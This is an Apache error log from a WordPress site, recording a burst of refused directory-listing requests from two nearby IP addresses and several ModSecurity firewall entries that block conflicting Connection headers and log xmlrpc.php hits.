[Sun Mar 01 14:38:58.712594 2026] [autoindex:error] [pid 38034:tid 38058] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:38:59.070556 2026] [autoindex:error] [pid 38034:tid 38045] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:38:59.422947 2026] [autoindex:error] [pid 38034:tid 38047] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:38:59.712880 2026] [autoindex:error] [pid 38034:tid 38057] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:00.386556 2026] [autoindex:error] [pid 38034:tid 38045] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:02.258593 2026] [autoindex:error] [pid 38034:tid 38038] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:02.596774 2026] [autoindex:error] [pid 38034:tid 38044] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:07.066036 2026] [autoindex:error] [pid 38034:tid 38050] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:07.391896 2026] [autoindex:error] [pid 38034:tid 38049] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:07.719970 2026] [autoindex:error] [pid 38034:tid 38058] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:08.001991 2026] [autoindex:error] [pid 38034:tid 38057] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:11.716101 2026] [autoindex:error] [pid 38034:tid 38057] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:13.629874 2026] [autoindex:error] [pid 38034:tid 38061] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:17.421013 2026] [autoindex:error] [pid 38034:tid 38048] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:17.719239 2026] [autoindex:error] [pid 38034:tid 38050] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:18.064117 2026] [autoindex:error] [pid 38034:tid 38048] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:28.669977 2026] [autoindex:error] [pid 38034:tid 38045] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:31.007024 2026] [autoindex:error] [pid 38034:tid 38048] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:31.332434 2026] [autoindex:error] [pid 38034:tid 38040] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:32.295828 2026] [autoindex:error] [pid 38034:tid 38047] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:32.598277 2026] [autoindex:error] [pid 38034:tid 38040] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:32.910963 2026] [autoindex:error] [pid 38034:tid 38060] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:39:39.838523 2026] [autoindex:error] [pid 38034:tid 38036] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:40:30.461871 2026] [autoindex:error] [pid 38034:tid 38045] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:40:30.871328 2026] [autoindex:error] [pid 38034:tid 38062] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:40:31.157958 2026] [autoindex:error] [pid 38034:tid 38055] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:40:31.473628 2026] [autoindex:error] [pid 38034:tid 38054] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:40:35.317274 2026] [autoindex:error] [pid 38034:tid 38045] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:40:35.651748 2026] [autoindex:error] [pid 38034:tid 38060] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:40:37.646261 2026] [autoindex:error] [pid 38034:tid 38045] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:40:39.896946 2026] [autoindex:error] [pid 38034:tid 38047] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:40:40.218640 2026] [autoindex:error] [pid 38034:tid 38050] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:40:40.524724 2026] [autoindex:error] [pid 38034:tid 38046] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:40:42.738568 2026] [autoindex:error] [pid 38034:tid 38046] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:40:43.035862 2026] [autoindex:error] [pid 38034:tid 38049] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:40:43.352562 2026] [autoindex:error] [pid 38034:tid 38044] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:40:43.648527 2026] [autoindex:error] [pid 38034:tid 38051] [client 45.86.202.186:59851] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:41:23.841966 2026] [autoindex:error] [pid 38241:tid 38260] [client 45.86.202.192:65015] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:41:42.667792 2026] [autoindex:error] [pid 38241:tid 38260] [client 45.86.202.192:65015] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:41:49.352332 2026] [autoindex:error] [pid 38241:tid 38246] [client 45.86.202.192:65015] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:41:49.765272 2026] [autoindex:error] [pid 38241:tid 38264] [client 45.86.202.192:65015] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:41:56.374265 2026] [autoindex:error] [pid 38241:tid 38244] [client 45.86.202.192:65015] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:41:56.679058 2026] [autoindex:error] [pid 38241:tid 38248] [client 45.86.202.192:65015] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:41:57.014870 2026] [autoindex:error] [pid 38241:tid 38265] [client 45.86.202.192:65015] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:41:57.329436 2026] [autoindex:error] [pid 38241:tid 38247] [client 45.86.202.192:65015] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:41:57.645879 2026] [autoindex:error] [pid 38241:tid 38266] [client 45.86.202.192:65015] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:41:57.980123 2026] [autoindex:error] [pid 38241:tid 38267] [client 45.86.202.192:65015] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:41:58.329116 2026] [autoindex:error] [pid 38241:tid 38254] [client 45.86.202.192:65015] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:41:58.636582 2026] [autoindex:error] [pid 38241:tid 38252] [client 45.86.202.192:65015] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:41:58.948015 2026] [autoindex:error] [pid 38241:tid 38261] [client 45.86.202.192:65015] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:42:31.640301 2026] [autoindex:error] [pid 38241:tid 38255] [client 45.86.202.192:65015] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 14:42:54.182364 2026] [autoindex:error] [pid 38241:tid 38261] [client 45.86.202.192:65015] AH01276: Cannot serve directory /home/gigfrag/public_html/.tmb/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 15:02:38.900274 2026] [:error] [pid 38241:tid 38252] [client 43.135.138.128:33952] [client 43.135.138.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaPkjvKRPk6YnJBxw_wr2QAAAMg"]
[Sun Mar 01 16:57:42.634139 2026] [:error] [pid 40750:tid 40772] [client 182.42.105.144:41381] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaP_hgfBuk03yQKDyqv_MAAAAdM"]
[Sun Mar 01 17:30:30.753522 2026] [:error] [pid 33822:tid 33831] [client 159.196.168.118:5773] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQHNm6W3ygu1YVssubhRwAAAoc"]
[Sun Mar 01 17:30:59.682534 2026] [:error] [pid 44644:tid 44649] [client 49.207.144.20:32674] [client 49.207.144.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.207.144.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQHU53RJaXMcw3y9V_ExQAAAAI"]
[Sun Mar 01 17:53:02.435486 2026] [:error] [pid 40750:tid 40762] [client 45.249.76.75:49311] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQMfgfBuk03yQKDyqtI5gAAAck"]
